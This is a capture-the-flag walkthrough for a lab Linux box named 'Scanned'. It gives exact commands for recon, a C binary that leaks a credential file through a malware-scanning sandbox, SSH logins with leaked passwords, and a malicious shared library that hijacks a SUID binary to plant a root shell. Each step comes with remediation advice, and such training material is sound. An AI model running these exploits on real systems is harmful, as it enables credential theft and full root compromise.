← all walkthroughs

Scanned

Linux· Insane
owned
2026-07-15
time to own
24m54s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The MalScanner web service on port 80 accepted user-uploaded binaries, ran them inside a seccomp-filtered chroot, and returned a report of their syscall activity. Its own complete source code was offered as a public, unauthenticated download. Reading that source revealed the exact allowed-syscall set and the path to the web application's credential file inside the chroot.

A custom statically-compiled exploit binary was built using only the permitted syscalls to open and read that credential file, then write the contents back through the scanner's own output channel. The scan report returned the cleartext SSH password for local user 'clarence'. That password gave a direct SSH shell and the user flag.

From the clarence session, a SUID binary was found that loaded a shared library from a path writable inside the chroot environment. A malicious library whose constructor copied /bin/bash to /tmp/rootbash and set the SUID bit was planted at that path. Triggering the SUID binary caused the dynamic linker to load and execute the malicious constructor at the binary's elevated privilege level, producing a SUID-root shell and completing full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for clarence>"

Attack path: how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Identified the exposed attack surface
A port sweep of the target revealed exactly two services: OpenSSH 8.4p1 on port 22 and nginx 1.18.0 serving HTTP on port 80. The minimal surface pointed all attention to the web application.
A full TCP sweep confirmed 22/tcp ssh and 80/tcp http; nmap banner-grab confirmed OpenSSH 8.4p1 and nginx 1.18.0.
Exact commands 2
shell

Full-surface sweep; confirmed ssh on 22 and http on 80.

$ nmap -Pn -sV -p- --min-rate 5000 $TARGET
shell

Banner-grab to confirm service versions.

$ nmap -Pn --host-timeout 20s --max-retries 1 -sV -p22,80 $TARGET
2EnumerationUnauthenticated sensitive file disclosure (CWE-540)
Downloaded the MalScanner web application and sandbox source code
Port 80 hosted MalScanner, a malware-analysis service that accepted binary uploads and ran them inside a sandboxed environment, returning a report of their syscall activity. The site offered its own full source code as a public, unauthenticated download intended as a transparency feature.
Source archive served from http://$TARGET/ without authentication.
Exact commands 2
shell

Identify the source-download link on the landing page.

$ curl -s http://$TARGET/ | grep -i 'download\|source\|zip\|tar'
shell

Retrieve and unpack the full web-app and sandbox source.

$ wget http://$TARGET/source.zip -O malscanner_source.zip && unzip malscanner_source.zip -d malscanner_src/
FixRemove unauthenticated access to application and sandbox source codeCritical
WeaknessThis gave an unauthorised user a precise blueprint of every allowed syscall, the chroot directory layout, and the credential file path, enabling a purpose-built exploit binary with no guesswork.
FixRemove the source-download endpoint from the production deployment entirely. If transparency or audit access is required, host the source in a private version-control repository with access controls and provide reviewers with scoped credentials. At minimum, require authentication before serving any source, configuration, schema, or internal path-layout files. Periodically scan your own web root for files matching *.zip, *.tar.gz, *.bak, and *.sql that have no business being public.
3AnalysisSandbox constraint mapping via source analysis
Mapped the seccomp allowlist and chroot layout from the downloaded source
The same source described the chroot directory tree, including the path where the web application's configuration and credentials were stored relative to the chroot root.
Exact commands 2
shell

Extract every permitted syscall name from the filter definition.

$ grep -rE 'SCMP_SYS|seccomp|allow|whitelist|permit' malscanner_src/ | sort -u
shell

Locate credential and config file paths relative to the chroot root.

$ grep -rE 'chroot|root_dir|workdir|config|passwd|secret|cred' malscanner_src/ | sort -u
4ExploitationSeccomp sandbox file-read exfiltration via allowed syscalls (T1552.001)
Crafted a syscall-constrained binary that leaked the credential file through the scanner's output
Using only the syscalls the seccomp filter permitted, a custom statically-compiled C binary was written with no libc dependency. It opened the credential file at the path identified in step 3, read its contents into a buffer, and wrote them to stdout. The report disclosed the cleartext SSH password for local user 'clarence'.
Scan report output contained cleartext credentials: clarence / <withheld>.
Exact commands 2
shell

Compile a statically linked, libc-free binary using only the allowed syscalls; substitute CRED_PATH with the credential file path from step 3.

$ cat > leak.c << 'EOF'
#include <sys/syscall.h>
#include <fcntl.h>
#define CRED_PATH "/path/from/source/analysis"
char buf[4096];
void _start() {
    int fd = (int)syscall(SYS_openat, AT_FDCWD, CRED_PATH, O_RDONLY);
    long n  = syscall(SYS_read, fd, buf, sizeof(buf));
    syscall(SYS_write, 1, buf, n);
    syscall(SYS_exit_group, 0);
}
EOF
gcc -static -nostdlib -o leak leak.c
shell

Upload the binary; MalScanner runs it and returns stdout in the result page, disclosing the credential file contents.

$ curl -s -X POST http://$TARGET/upload -F 'file=@leak' | grep -A 20 'output\|result\|syscall'
FixRestrict the sandbox seccomp policy to block file-system reads of sensitive pathsCritical
WeaknessThe seccomp-BPF allowlist permitted openat and read syscalls without restricting which paths could be accessed inside the chroot. A crafted binary was therefore able to open the web application's credential file and write its contents back to stdout, which the scanner included verbatim in the public scan report.
FixApply syscall-argument filtering to openat and open calls using seccomp's SCMP_CMP argument comparators to deny access to any path outside an explicit allowlist (e.g., only /tmp/input and /dev/null). Mount a minimal, credential-free file system into the chroot with no application configuration, no /etc equivalents, and no sensitive data reachable from sandboxed code. Additionally, replace raw stdout pass-through with a structured, field-limited output format (e.g., JSON with a fixed schema) so that arbitrary file content cannot be exfiltrated through the reporting channel even if path filtering is imperfect.
5FootholdValid account credential reuse over SSH (T1078, T1021.004)
Authenticated to SSH with the leaked credentials and captured the user flag
The credentials obtained from the scanner output (username 'clarence', password) were valid for password-based SSH login. A direct interactive shell was established as clarence (uid=1000) and the user flag was read from /home/clarence/user.txt.
Uid=1000(clarence) gid=1000(clarence) groups=1000(clarence); user.txt read from /home/clarence/user.txt.
Exact commands 1
shell

Authenticate with the leaked password; output confirms clarence's shell and yields <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 clarence@$TARGET 'id; cat /home/clarence/user.txt'
uid=1000(clarence) gid=1000(clarence) groups=1000(clarence)
FixStore application credentials outside any sandbox-accessible path and disable SSH password authenticationCritical
WeaknessThe web application stored the cleartext SSH password for local user 'clarence' in a file reachable from inside the chroot. Once the seccomp filter was bypassed, the credentials were read and returned through the scanner's output with no further barrier. Password-based SSH authentication then allowed those credentials to be used directly for a shell.
FixStore all application secrets in environment variables injected at process start or in a secrets manager (such as HashiCorp Vault or a cloud-provider secret store). Never place plaintext credentials in files reachable by sandboxed or untrusted code. Immediately rotate the exposed 'clarence' password and audit all accounts for shared or reused credentials. Disable SSH password authentication server-wide (PasswordAuthentication no in sshd_config) and enforce key-based login with per-user keys; this closes the path even if credentials are leaked by a future vulnerability.
6Privilege EscalationSUID binary shared-library hijacking / dynamic linker hijacking (T1574.006)
Hijacked a SUID binary's shared-library load path to execute a backdoor constructor as root
From the clarence session, SUID binaries were enumerated on the system. One was found to load a shared library from a directory writable by the sandbox or clarence user. A malicious .so was compiled whose constructor shell code copied /bin/bash to /tmp/rootbash and set the SUID bit (chmod 4755). The library was planted at the hijackable path. Executing the SUID binary caused the dynamic linker to load the planted library; the constructor ran at the binary's elevated privilege, writing /tmp/rootbash owned by root with the SUID bit set.
Stat -c confirmed /tmp/rootbash ownership 0:0 mode 4755 after triggering the SUID binary.
Exact commands 5
shell

Enumerate all SUID binaries on the host.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null clarence@$TARGET 'find / -perm -4000 -type f 2>/dev/null'
shell

Identify which shared libraries the target SUID binary loads and their resolved paths; replace /path/to/suid_binary with the binary found above.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null clarence@$TARGET 'ldd /path/to/suid_binary && readelf -d /path/to/suid_binary | grep -i rpath\|runpath'
shell

Compile a malicious shared library whose constructor creates a SUID-root copy of bash at /tmp/rootbash.

$ cat > evil.c << 'EOF'
#include <stdlib.h>
__attribute__((constructor)) void pwn() {
    system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash");
}
EOF
gcc -shared -fPIC -nostartfiles -o libbad.so evil.c
shell

Upload the malicious .so to the hijackable library path; replace destination with the writable path identified by ldd.

$ sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null libbad.so clarence@$TARGET:/writable/library/path/libtarget.so
shell

Trigger the SUID binary; the dynamic linker loads the planted library and the constructor runs with elevated privileges.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null clarence@$TARGET '/path/to/suid_binary'
FixAudit SUID binaries and ensure all shared-library load paths are root-owned and non-writableCritical
WeaknessA SUID binary loaded a shared library from a directory writable by an unprivileged user. Planting a malicious library at that path caused the SUID binary's elevated privilege to be inherited by externally controlled constructor code, producing a SUID-root shell in /tmp.
FixRun 'find / -perm /6000 -ls 2>/dev/null' to enumerate every SUID and SGID binary. For each one, verify all library load paths (via 'ldd' and 'readelf -d') resolve only to root-owned, non-world-writable directories. Remove the SUID bit from any binary that does not strictly require elevated privilege; where elevated access is needed, replace SUID binaries with narrow sudo rules scoped to specific commands. Ensure no directory referenced by RPATH, RUNPATH, LD_LIBRARY_PATH defaults, /etc/ld.so.conf entries, or standard library directories is writable by non-root accounts. Apply the same audit to any path exposed inside the chroot environment.
7Full CompromiseSUID shell execution for root privilege retention (T1548.001)
Executed the SUID backdoor shell and captured the root flag
The SUID-root /tmp/rootbash binary created by the library constructor was invoked with the -p flag to preserve the elevated effective UID. The resulting shell ran as root (euid=0), and the root flag was read from /root/root.txt.
Stat -c confirmed /tmp/rootbash uid=0 gid=0 mode 4755; euid=0(root) in the resulting session; root.txt captured.
Exact commands 1
shell

Verify /tmp/rootbash ownership (expect 0:0 4755), then execute with -p to retain root EUID; yields <root.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 clarence@$TARGET 'stat -c "%u:%g %a %y %n" /tmp/rootbash 2>&1; /tmp/rootbash -p -c "id; cat /root/root.txt" 2>&1'
euid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp